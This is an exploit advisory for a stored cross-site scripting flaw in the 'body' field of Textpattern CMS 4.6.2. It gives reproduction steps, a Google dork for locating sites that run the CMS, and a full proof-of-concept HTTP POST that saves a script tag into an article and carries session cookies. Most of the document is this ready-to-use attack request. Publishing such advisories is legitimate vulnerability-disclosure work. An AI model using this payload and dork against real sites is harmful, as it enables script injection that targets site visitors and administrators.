Textpattern CMS 4.6.2 body Persistent Cross-Site Scripting

2020.10.08
Credit: Alperen Ergel
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Textpattern CMS 4.6.2 - 'body' Persistent Cross-Site Scripting # Exploit Author: Alperen Ergel # Web Site: https://alperenae.gitbook.io/ # Software Homepage: https://textpattern.com/ # Version : 4.6.2 # Tested on: windows 10 / xammp # Category: WebApp # Google Dork: intext:"Published with Textpattern CMS" # Date: 2020-10-29 # CVE :- ######## Description ######## # # 1-) Loggin administrator page # # 2-) Write new blog add payload to 'body' # # 3-) Back to web site then will be work payload # # ######## Proof of Concept ######## ========>>> REQUEST <<<========= POST /textpattern/textpattern/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://localhost/textpattern/textpattern/index.php?event=article&ID=3 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------127132438115577379281797109093 Content-Length: 6080 Connection: close Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40; __atuvs=5f77129c504c17ce000 ### SNIPPP HERE #### -----------------------------127132438115577379281797109093 Content-Disposition: form-data; name="Title" XSS -----------------------------127132438115577379281797109093 Content-Disposition: form-data; name="textile_body" 1 -----------------------------127132438115577379281797109093 Content-Disposition: form-data; name="Body" <script>alert(1)</script> -----------------------------127132438115577379281797109093


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